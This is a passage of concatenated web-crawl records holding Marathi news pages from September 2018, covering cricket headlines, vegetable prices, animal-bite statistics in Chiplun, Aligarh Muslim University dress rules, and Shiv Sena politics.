कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00182.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%97%E0%A5%8C%E0%A4%B0%E0%A4%BE%E0%A4%88%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%86%E0%A4%97%E0%A4%AE%E0%A4%A8%E0%A4%BE%E0%A4%A8%E0%A5%87-%E0%A4%AD%E0%A4%BE%E0%A4%9C%E0%A5%8D%E0%A4%AF%E0%A4%BE/", "date_download": "2018-09-25T17:44:41Z", "digest": "sha1:JLJDI56U2E3GLE3B5PLZWUMHMZ4ZH6LF", "length": 7931, "nlines": 128, "source_domain": "www.dainikprabhat.com", "title": "गौराईच्या आगमनाने भाज्यांचे दर वाढले | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nगौराईच्या आगमनाने भाज्यांचे दर वाढले\nपिंपरी– गणपती, गौरी यांचे आगमन झाल्यामुळे बाजारात भाजीपाल्याची मागणी वाढली आहे. तसेच भाजीपाल्याच्या आवकेसोबत त्यांच्या भावातही वाढ झाल्याचे दिसून येत आहे. पिंपरी येथील लाल बाहदूर शास्त्री भाजी मंडईत रविवारी 14 ट्रक दाखल झाले. यामध्ये भाजीपाल्याची आवक 46 क्विंटलने वाढली आहे. गेल्या तीन आठवड्यापासून कांद्याची आवक घटली होती. मात्र, यावेळेस कांद्याची आवक 26 क्विंटलने वाढली असून भावही 100 रूपयांनी वधारले आहेत. भेंडीची आवक गेल्या आठवड्याच्या तुलनेत 5 क्विटलने वाढली आहे. परंतु, गौरी आगमनामुळे भाव ही 500 रूपयांने वाढले आहेत. गवारीची आवक स्थिर असून भावात 500 रूपयांनी वाढ झाली आहे. टोमॅटोची आवक एक क्विंटलने घटली आहे. त्याचे भाव पन्नास रूपयांनी वाढले आहेत. घेवड्याची आवक एक क्विटलने घटली असून भाव 250 रूपयांनी वधारले आहेत.\nगेल्या काही महिन्यापासून दोडक्‍याची आवक घटली होती. या आठवड्यात मात्र आवक चार क्विटलने वाढली असून दोडक्‍याचे भाव 500 रूपयांनी वधारले आहेत. मिरचीची आवक एक क्विंटलने घटली आहे आणि भाव 250 रूपयांनी वधारले आहेत. तसेच दुधी-भोपळ्याची आवक एक क्विंटलने वाढली असून त्याचेही भाव 150 रूपयांनी वधारले आहे. गेल्या आठवड्यात काकडीची आवक वाढली होती मात्र, यावेळी काकडीची आवक 6 क्विंटलने घटली आहे. काकडीच्या भावातही 200 रूपयांनी वाढ झाली आहे. कारल्याची आवक सहा क्विंटल झाली असून बाजारभाव स्थिर आहेत. फ्लॉवरची आवक एक क्विंटलने वाढली असून भाव मात्र 500 रूपयांनी घसरले आहेत. कोबीची आवक सहा क्विंटल झाली असून भाव स्थिर आहेत. ढोबळी मिरचीची आवक एक क्विंटल झाली असून भाव ही स्थिर आहेत.\nपालेभाज्यांमध्ये पालकची आवक घटली असून भाव घसरले आहेत. कोथिंबीर 3000 जुड्या, मेथी 2400, शेपू 2400, पालक 1800 जुड्यांची आवक झाली आहे. तसेच मक्‍याच्या कणसाची आवक 7 क्विंटल झाली असून भाव स्थिर आहेत.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleमागणी घटल्याने फुलांचे भाव घसरले\nNext articleसातारा : पोलीस अधिकार्‍यावरील ‘ते’ आरोप तथ्यहीन\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00183.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/health-department-to-protect-against-scorpions-and-snakes-in-Chiplun/", "date_download": "2018-09-25T17:20:23Z", "digest": "sha1:OB26BBLYIWDHRDBGWA6J7LS7AGAXMIRB", "length": 7821, "nlines": 38, "source_domain": "www.pudhari.news", "title": " विंचू , सर्पदंशातून वाचवण्यात आरोग्य विभागाला यश | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › विंचू , सर्पदंशातून वाचवण्यात आरोग्य विभागाला यश\nविंचू , सर्पदंशातून वाचवण्यात आरोग्य विभागाला यश\nग्रामीण भागात उन्हाळा, हिवाळा व पावसाळा या ऋतुंमध्ये सरपटणार्‍या प्राण्यांकडून दंश करण्याचे प्रमाण जास्त असते. त्याचबरोबरच मोकाट कुत्र्यांच्या दंशामुळे अनेकजण जायबंदी होतात. चिपळूण तालुक्यात 2017-18 मध्ये 9 प्राथमिक आरोग्य केंद्रांच्या आकडेवारीनुसार विंचूने 1 हजार 362 जणांना डंख मारून घायाळ केले. तर 632 जणांना कुत्र्याने चावा आणि 183 जणांना सर्पदंश झाला आहे. मात्र, यामध्ये सुदैवाने कोणतीही जीवितहानी झाली नसल्याचे आरोग्य विभागाच्या अहवालात स्पष्ट झाले आहे.\nग्रामीण भागात उष्ण तापमानात विंचू दंशाचे प्रमाण अधिक असते. शेतकरी शेतात काम करताना सरपटणार्‍या प्राण्यांचे दंश होण्याची शक्यता जास्त असते. तर पावसाळ्यात सर्पदंश होऊन कित्येक जणांचे प्राण गेले आहेत. मात्र, आता आरोग्य विभागामार्फत औषधोपचार उपलब्ध असल्याने मृत्यूचे प्रमाण नगण्य झाले आहे.\nतालुक्यातील 9 प्राथमिक आरोग्य केंद्रात रामपूरमध्ये कुत्रा चावणे 127, सर्प 26, विंचू 130, कापरे केंद्रात कुत्रा चावणे14, सर्प 5 तर विंचू 118, खरवतेमध्ये कुत्रा चावणे 44, सर्प 7 तर विंचू 59, दादर केंद्रात कुत्रा चावणे 62, सर्प 28 तर विंचूदंश 501, शिरगावमध्ये कुत्रा चावणे 84, सर्प 32 तर विंचू 177, अडरेमध्ये कुत्रा चावणे 46, सर्प 10 तर विंचू 158, सावर्डे केंद्रात कुत्रा चावणे 128, सर्प 53 तर विंचू 73, फुरूस केंद्रात कुत्रा चावणे 10, सर्पदंश 4 तर विंचू 17 आणि वहाळ आरोग्य केंद्रामध्ये कुत्रा चावणे 117, सर्प 18 तर 112 विंचूदंश झाला आहे.\nतालुक्यात 2017-18 या कालावधीत एकूण कुत्रा चावणे 632, सर्पदंश 183 तर 1 हजार 362 विंचूदंश अशी नोंद आरोग्य विभागाच्या अहवालानुसार प्राप्त झाली आहे. सर्वात जास्त विंचूदंश दादर प्राथमिक आरोग्य केंद्रात झाली आहे. तर फुरूस केंद्रात सर्वात कमी सर्पदंश झाल्याची नोंद आहे. मात्र, यामध्ये मृत्यूचे प्रमाण शून्य असल्याचे आरोग्य विभागाकडून सांगण्यात आले. आता प्रत्येक आरोग्य केंद्रात दंश झालेल्या रूग्णांवर शासनाकडून औषधोपचार उपलब्ध करून देण्यात आले आहेत. याचा लाभ घेण्याचे आवाहन शासन करते.\nमात्र, आजही ग्रामीण भागात साप किंवा विंचू चावल्यानंतर मांत्रिकाकडे जाणारे अनेकजण आहेत. अंगारा व मंत्र टाकून विष उतरण्याचे प्रकार ग्रामीण भागात घडतात. त्यामुळे दंश झालेल्या व्यक्तीचा जीव गमावण्याचे प्रकार घडतात. त्यामुळे अशा दंश प्रकारात लगेचच आरोग्य केंद्रातील वैद्यकीय अधिकार्‍यांचा सल्ला घ्यावा, असे आवाहन चिपळूण आरोग्य विभागाकडून करण्यात आले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00183.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mahasports.co.in/suresh-raina-lauds-woman-for-raising-bharat-mata-ki-jai-chants-in-kashmir/", "date_download": "2018-09-25T17:01:10Z", "digest": "sha1:LBWZMHGN6SKAFOPNFDQNVAHMCTMCPUJU", "length": 7356, "nlines": 61, "source_domain": "mahasports.co.in", "title": "सुरेश रैनाने केले या महिलेचे कौतुक -", "raw_content": "\nसुरेश रैनाने केले या महिलेचे कौतुक\nसुरेश रैनाने केले या महिलेचे कौतुक\nभारताने आपला ७१ वा स्वातंत्र्य दिन काल साजरा केला. भारतभर स्वातंत्र्य दिन मोठ्या जल्लोषात आणि उत्साहात साजरा करणात आला. मात्र काश्मीरमधील काही भागात वातावरण थोडेसे तणावपूर्ण होते.\nजम्मू काश्मीर येथे गेले अनेक दिवस तणावपूर्ण स्थती असल्यामुळे नागरिकांना आपल्या सुरक्षेसाठी काळजी घ्यावी लागत आहे. शिवाय सातत्याने चालू असलेल्या अतिरेकी हल्ल्यांमुळे तिथली स्थिती चांगलीच नाजूक झाली आहे.\nया सर्वगोष्टी लक्षात घेता काल जम्मू काश्मीर येथे अनेक लोकांनी राष्ट्रगीताच्या वेळी उभे राहण्यास प्राधान्य न देता बसून राहणे योग्य समजले. अश्याच घडामोडीत एक महिला श्रीनगरच्या लाल चौकात येऊन “भारत माता की जय आणि वंदे मातरम” अशी घोषणाबाजी करत होती. संपूर्ण रस्ता आणि आजूबाजूचा परिसर रिकामा होता मात्र ही एकटीच या घोषणा देत होती. तिथली परिस्थती लक्षात घेता या स्त्रीसाठी काही सुरक्षारक्षक तिच्या भोवती उभे होते. ती महिला इतर लोकांना देखील आपण सर्वजण भारताचा भाग आहोत म्हणून घोषणा देण्यास आव्हान करत होती.\nया झालेल्या घटनेची दखल घेत भारताचा फलंदाज सुरेश रैना याने ट्विटरच्या माध्यमातून या स्त्रीवर कौतुकाचा वर्षाव केला आहे. त्याने असेही म्हणले की अश्या या धाडसी आणि देशभक्त स्त्रीला मी सलाम करतो.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00183.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.saamana.com/no-shorts-slippers-outside-rooms-only-sherwani-or-kurta-for-functionsamu-advisory/", "date_download": "2018-09-25T17:00:46Z", "digest": "sha1:7G24SI6UPIJNI4P2GBEKEFRZQSNNU7HQ", "length": 18064, "nlines": 265, "source_domain": "www.saamana.com", "title": "बर्मुडा, स्लीपर परिधान करून रूमबाहेर येऊ नका, कार्यक्रमांत शेरवानी, कुरताच हवा ! | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : अंबाती रायडू अर्धशतकानंतर बाद\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nबर्मुडा, स्लीपर परिधान करून रूमबाहेर येऊ नका, कार्यक्रमांत शेरवानी, कुरताच हवा \nअलिगड मुस्लिम विद्यापीठाचे पारंपारिक पावित्र्य बिघडेल असे वर्तन करू नका. होस्टेलच्या रूमबाहेर येताना बर्मुडा, शॉर्ट्स आणि स्लीपर्स परिधान करू नका. विद्यापीठाच्या कार्यक्रमांना हजर राहताना काळी शेरवानी अथवा कुर्ता-पायजमा अशा वेषातच या, असा कडक फतवा अलिगड मुस्लिम विद्यापीठ प्रशासनाने विद्यापीठाच्या निवासी विद्यार्थ्यांसाठी जारी केला आहे.\nअलिगड मुस्लिम विद्यापीठ ( एएमयू ) कॅम्पसचे पावित्र्य नव्याने येणारे विद्यार्थी आपल्या बेशिस्त वर्तनाने बिघडवत आहेत.त्यामुळे विद्यापीठाला कॅम्पसमध्ये कोणत्या वेशात वावरावे याचे निर्देश जारी करावे लागल्याचे एएमयू प्रशासनाने स्पष्ट केले. हॉस्टेलबाहेर जातानाही योग्य वेष परिधान करूनच बाहेर पडा. कुर्ता आणि पायजम्यावर स्लीपर घालून फिरू नका.भोजन कक्ष ,वाचनालय आणि कॉमनरूमसाठीही हेच नियम लागू असतील असेही विद्यापीठाने स्पष्ट केले आहे.\nविद्यापीठ परिसरात वर्तनही असे हवे\n-भोजन कक्षप्रमुखाला मिया अथवा भाई म्हणावे\n-सिनियर आणि जुनिअर कॅन्टीनमध्ये बसून खात असतील तर सिनिअर्सनी ते बिल भरावे.\n-एखाद्याच्या रूममध्ये प्रवेश करताना दरवाजा खटखटवून परवानगी घेऊन तेथे प्रवेश करावा\n-घरून आणलेले खाद्यपदार्थ वाटून खाण्याची सवय लावावी\n-विद्यापीठाच्या पुरातन सर शाह सुलेमान सभागृहाचे पावित्र्य राखण्याची जबाबदारी विद्यार्थ्यांची आहे.\nएएमयु प्रशासनाने दिलेले निर्देश पाळून जुनिअर्स विद्यार्थ्यांनी आपले सिनिअर्स आणि शिक्षक वर्गासमोर उत्तम आदर्श ठेवावा. जेणेकरून विद्यापीठाच्या पवित्र परंपरांचा मान राखला जाईल.\n-सदाफ झैदी,एएमयू हॉस्टेल प्रमुख\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलगणेश विसर्जनसाठी समुद्रकिनाऱ्यावर जीवरक्षकांचा वॉच\nपुढीलपोलीस निरीक्षकाच्या त्रासाला कंटाळून पीएसआय पती बेपत्ता झाल्याची तक्रार\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00184.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/national/ajit-wadekar-passes-away-in-mumbai-300741.html", "date_download": "2018-09-25T17:33:01Z", "digest": "sha1:RRZ75TMYYSOEKYO37TOUW7PUU3QMGQYW", "length": 1869, "nlines": 24, "source_domain": "lokmat.news18.com", "title": "Lokmat News - ज्येष्ठ क्रिकेटपटू अजित वाडेकर यांचं मुंबईत निधन–News18 Lokmat", "raw_content": "\nज्येष्ठ क्रिकेटपटू अजित वाडेकर यांचं मुंबईत निधन\nमाजी क्रिकेटपटू अजित वाडेकर यांचं बुधवारी मुंबईत रात्री निधन झालं.\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00184.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/program/he-pahach/special-repotarj-on-web-seriess-282654.html", "date_download": "2018-09-25T16:47:27Z", "digest": "sha1:EJKPB6HF5A6SGSGKPYLBBSANSF3VRHGD", "length": 1711, "nlines": 24, "source_domain": "lokmat.news18.com", "title": "Lokmat News - विशेष कार्यक्रम रिपोर्ताज - वेबसीरिजचे स्पायडरमॅन–News18 Lokmat", "raw_content": "\nविशेष कार्यक्रम रिपोर्ताज - वेबसीरिजचे स्पायडरमॅन\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00184.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "https://lokmat.news18.com/news/shiv-sena-confused-on-no-confidence-motion-narendra-modinew-296737.html", "date_download": "2018-09-25T17:15:05Z", "digest": "sha1:E5JYKVKWOHZO62GNK7UHGW6YT2WOD6HR", "length": 17209, "nlines": 130, "source_domain": "lokmat.news18.com", "title": "नरेंद्र मोदींवरच्या अ'विश्वासा'वरून शिवसेनेत गोंधळ", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nनरेंद्र मोदींवरच्या अ'विश्वासा'वरून शिवसेनेत गोंधळ\nअविश्वास प्रस्तावाच्या मुद्यावरून शिवसेनेतला गोंधळ पुन्हा एकदा समोर आला. शिवसेनेचे प्रतोद आणि खासदार चंद्रकांत खैरे यांनी बुधवारी व्हिप काढून सर्व खासदारांना सरकारच्या बाजूनं मतदान करण्याचा व्हिप काढला आणि नंतर असा व्हिप काढला नसल्याचा दावा केला.\nमुंबई,ता. 20 जुलै : टीडीपाने आणलेल्या अविश्वास प्रस्तावावरून नरेंद्र मोदी सरकारला काही धोका नव्हता. मात्र शिवसेना कुठली भूमिका घेते याकडे सगळ्यांचं लक्ष लागलं होतं. भाजप आणि शिवसेनेचे संबंध बघता शिवसेना काय करणार याची सगळ्यांना उत्सुकता होती. मात्र याही मुद्यावरून शिवसेनेतला गोंधळ पुन्हा एकदा समोर 